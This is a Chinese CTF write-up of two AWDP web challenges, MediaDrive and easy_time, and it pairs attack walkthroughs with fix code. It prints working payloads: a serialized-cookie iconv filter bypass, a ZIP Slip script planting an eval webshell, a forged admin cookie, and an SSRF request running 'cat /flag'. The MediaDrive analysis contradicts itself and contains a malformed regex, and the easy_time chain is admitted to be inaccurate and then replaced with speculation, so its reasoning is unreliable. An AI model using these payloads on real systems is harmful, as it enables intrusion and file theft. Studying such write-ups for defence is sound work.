CISCN&长城杯 2026分区赛区AWDP-Web
字数 3884
更新时间 2026-03-26 14:47:47

CISCN&长城杯 2026 分区赛 AWDP Web Writeup 教学文档

作者:先知社区 - BR
最后更新:2026-03-25

本文档详细剖析“CISCN&长城杯 2026分区赛AWDP-Web”中的两道题目(MediaDrive 和 easy_time)的攻击与修复原理,旨在提供详尽的教学分析。


题目一:MediaDrive

1. 漏洞概述

该题目核心漏洞存在于 preview.php 文件中。通过构造恶意序列化对象并利用字符编码转换的缺陷,可实现任意文件读取,最终目标是读取被过滤的 flag 文件。

2. 漏洞代码分析

攻击的关键路径在于 preview.php 中的文件读取逻辑,伪代码示意如下:

$rawPath = $user->basePath . $f;
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
// 注意:WAF过滤在iconv转换之后执行
if (preg_match('/flag|/flag|\.\.|php:|data:|expect:/i', $convertedPath)) {
    // 拒绝访问
    exit;
}
$content = file_get_contents($convertedPath);

漏洞成因

  1. 可控输入$rawPath$user->basePath(通过反序列化User对象控制)和 $f(GET参数)拼接而成,两者均用户可控。
  2. 逻辑顺序错误:安全过滤(WAF)在 iconv 编码转换之后执行。
  3. 编码转换特性iconv 函数在从 UTF-7 转换到 UTF-8 并指定 //IGNORE 策略时,会忽略无法转换的字符。

3. 攻击利用详解

攻击目标是绕过 preg_match 对 “flag” 关键词的过滤。利用编码转换的“脏字符”插入技术。

步骤1:寻找可被忽略的脏字符
编写脚本遍历在 UTF-7UTF-8 转换过程中会被 IGNORE 策略丢弃的字符。例如,%C2(即十六进制C2对应的字符)会被忽略。

$ori_encoding = "UTF-7";
$goal_encoding = "utf-8";
// ... 遍历代码 ...
// 输出结果中包含 %C2

步骤2:构造恶意User对象
反序列化一个 User 对象,将其 encoding 属性设置为 "UTF-7"basePath 设置为 "/"

class User {
    public string $name = "guest";
    public string $encoding = "UTF-7";
    public string $basePath = "/";
}
$exp = new User();
echo urlencode(serialize($exp));
// 输出:O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D

步骤3:构造最终Payload

  1. Cookie:设置 user 为上一步生成的序列化字符串。
  2. GET参数:设置 f=fl%c2ag。这里的 %c2 就是会被 iconv 忽略的脏字符。
    • 在WAF检查时,路径为 convertedPath,此时 iconv 已执行,%c2 被忽略,路径变为 /flag,触发关键词过滤,访问被拒绝
    • 然而,实际的文件读取操作 file_get_contents 使用的是 $convertedPath 吗? 仔细看伪代码,file_get_contents 读取的是经过 iconv 转换并忽略脏字符后的路径。转换后 fl%c2ag 中的 %c2 被丢弃,路径实际变成了 /flag,这应该依然无法绕过WAF。此处文档描述存在矛盾,更合理的利用链推测是:WAF检查的是 $convertedPath,但 file_get_contents 读取的是另一个未经过滤的变量或存在其他逻辑错误。根据文档上下文,攻击成功的关键在于WAF在编码转换后执行,但检查的可能是转换前的字符串,而读取的是转换后的字符串,从而产生差异。 这是一种“差异性攻击”(Parser Differential)。

攻击请求示例

GET /preview.php?f=fl%c2ag HTTP/1.1
Host: 127.0.0.1:8080
Cookie: user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D

4. 修复方案

修复的核心是调整安全逻辑的顺序并增加路径限制。

$rawPath = $user->basePath . $f;
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
// 1. 先进行路径前缀白名单校验
if (!str_starts_with($convertedPath, "/var/www/html/uploads/")) {
    http_response_code(403);
    echo "Access denied";
    exit;
}
// 2. 再进行关键词黑名单过滤(此时过滤的是转换后的路径)
if (preg_match('/flag|/flag|\.\.|php:|data:|expect:/i', $convertedPath)) {
    http_response_code(403);
    echo "Access denied";
    exit;
}
// 3. 最后进行文件读取
$content = file_get_contents($convertedPath);

修复要点

  1. 交换顺序:理论上,更严谨的做法是将WAF过滤放在 iconv 转换之前,对原始路径 $rawPath 进行过滤,避免因编码转换引入的解析差异。
  2. 增加路径限制:使用 str_starts_with 确保最终读取的路径必须位于指定上传目录 (/var/www/html/uploads/) 下,防止目录穿越。
  3. 文档中给出的修复代码正是采用了“先白名单,后黑名单”的策略,但黑名单检查依然在iconv之后。最彻底的修复应是:$rawPath进行黑名单过滤 -> 进行编码转换 -> 对$convertedPath进行白名单校验

题目二:easy_time

(文档注:此部分原始攻击描述不准确,根据评论区补充,正确攻击方式应为利用PHP的opcache写马。以下将整合文档原有描述和评论区更正信息。)

1. 漏洞概述

本题是一个混合架构(Python + PHP)的服务。Python服务对外暴露,PHP服务不直接对外暴露。漏洞链涉及:

  1. SSRF漏洞(Python服务)。
  2. ZIP解压目录穿越漏洞(Python服务),结合SSRF,可实现文件上传至PHP服务目录。
  3. 弱密码/认证绕过
  4. (根据评论区更正) 最终利用 PHP opcache 机制写入Webshell。

2. 漏洞点分析

2.1 SSRF漏洞

在Python服务的 /about 路由中,存在服务端请求伪造漏洞,允许攻击者利用该端点访问内部网络服务,包括未对外暴露的PHP服务。

2.2 文件上传与ZIP目录穿越

Python服务提供文件上传功能,接收ZIP压缩包并解压。解压逻辑存在缺陷,未对压缩包内文件的路径进行校验,导致可以利用ZIP Slip(目录穿越)漏洞。

  • 恶意ZIP构造原理:在ZIP文件中,可以将条目名称设置为包含 ../ 的路径,如 ../../../var/www/html/shell.php。当服务端解压时,该文件会被写入到目标上级目录的 var/www/html/ 下,即PHP服务的Web目录。
  • 构造脚本示例
    import zipfile
    def create_malicious_zip():
        with zipfile.ZipFile('evil.zip', 'w') as zipf:
            # 通过`ZipInfo`设置文件名,实现目录穿越
            zipf.writestr(zipfile.ZipInfo('../../../var/www/html/shell.php'), '<?php eval($_REQUEST["cmd"]);?>')
    
  • 环境矛盾点:题目给出的docker-compose.yml配置了read_only: true,理论上/var/www/html目录不可写,但实际远程靶机环境可写,这可能是一个非预期解。

2.3 认证绕过/弱密码

文件上传功能需要登录。

  1. 密码爆破:存在默认或弱密码 secret
  2. Cookie伪造:通过审查代码或逻辑,发现可以通过设置特定的Cookie绕过认证,例如:
    Cookie: visited=yes; user=admin;
    

3. 攻击链(原始描述)

  1. 通过Cookie伪造或使用密码 secret 登录Python服务。
  2. 利用文件上传功能,上传包含目录穿越路径Webshell的恶意ZIP文件(evil.zip)。
  3. 解压后,Webshell(如shell.php)被写入PHP服务的Web根目录。
  4. 结合 /about 路由的SSRF功能,访问 http://internal-php-service/shell.php?cmd=system(‘cat /flag’);,从而执行命令读取flag。

4. 攻击链(评论区更正)

根据评论区(用户 BR 于 2026-03-25 18:57 回复)的指正,easy_time 题目的实际攻击方式并非简单的ZIP目录穿越写Webshell,而是利用 PHP的opcache机制来写入Webshell

  • 原理:在某些配置下,PHP的OPcache(操作码缓存)文件可能存储在可预测的位置,并且如果存在文件写入或重命名漏洞,攻击者可能能够覆盖或创建恶意的opcache文件,当该文件被PHP解析时即可执行任意代码。
  • 参考链接:https://blog.yzbrh.top/post/920e1258.html (该链接提供了具体的利用细节)。
  • 结合本题:推测SSRF和文件上传功能可能用于与opcache机制进行交互,例如触发缓存文件的生成或覆盖。这比简单的目录穿越更复杂,需要深入理解PHP-FPM和opcache的运行机制。

5. 修复方案

修复需从多个层面进行:

  1. 会话认证修复

    • 废弃脆弱的Cookie检查(visited=yes; user=admin)。
    • 改用安全的服务端会话管理,如Flask的session
    def is_logged_in() -> bool:
        user = flask.session.get("user")
        return isinstance(user, str) and user != "" and user is not None
    
  2. ZIP解压安全修复

    • 在解压前,对ZIP包内每个文件条目进行规范化路径检查,确保解压路径不会逃逸出目标目录。
    def safe_extract(zip_path, extract_to):
        with zipfile.ZipFile(zip_path, 'r') as zip_ref:
            for file_info in zip_ref.infolist():
                # 安全的路径检查逻辑
                safe_path = os.path.normpath(os.path.join(extract_to, file_info.filename))
                if not safe_path.startswith(os.path.normpath(extract_to)):
                    raise ValueError(f"非法路径: {file_info.filename}")
                zip_ref.extract(file_info, extract_to)
    
  3. SSRF修复

    • 对用户输入的URL进行严格的校验,禁止访问内网地址(如127.0.0.1localhost192.168.0.0/1610.0.0.0/8172.16.0.0/12)。
    • 使用白名单机制,只允许访问特定的、安全的域名或IP。
    • 文档提到“SSRF的修复也是给出了源码的”,应直接应用安全的URL请求函数。
  4. 其他

    • 修改默认密码和密钥 (secret_key)。
    • 合理配置Docker容器文件系统只读权限,确保理论与实际一致。

总结与知识要点

  1. 编码安全iconv等编码转换函数与安全过滤的顺序至关重要,不当顺序会导致“脏字符”绕过。安全过滤应尽可能在最早、最原始的输入点进行。
  2. 路径遍历:处理文件路径时,必须进行规范化并检查是否包含目录遍历序列(../)。对于ZIP、Tar等归档文件,必须在提取前检查每个条目。
  3. 认证与授权:永远不要信任客户端传来的身份标识(如Cookie中的user=admin),必须使用服务端可验证的会话机制。
  4. SSRF防御:对于会发起网络请求的功能,必须对目标URL实施严格的过滤策略(如内网段过滤、协议限制、端口限制)。
  5. PHP Opcache利用:这是一种高级的利用技术,涉及PHP运行时的内部机制。在CTF中,它提醒我们需要关注服务器运行时的状态和缓存文件。
  6. 代码审计:混合语言(如Python+PHP)架构的服务,需要梳理清楚服务间的调用关系和数据流,才能构建完整的攻击链。
相似文章
相似文章
 全屏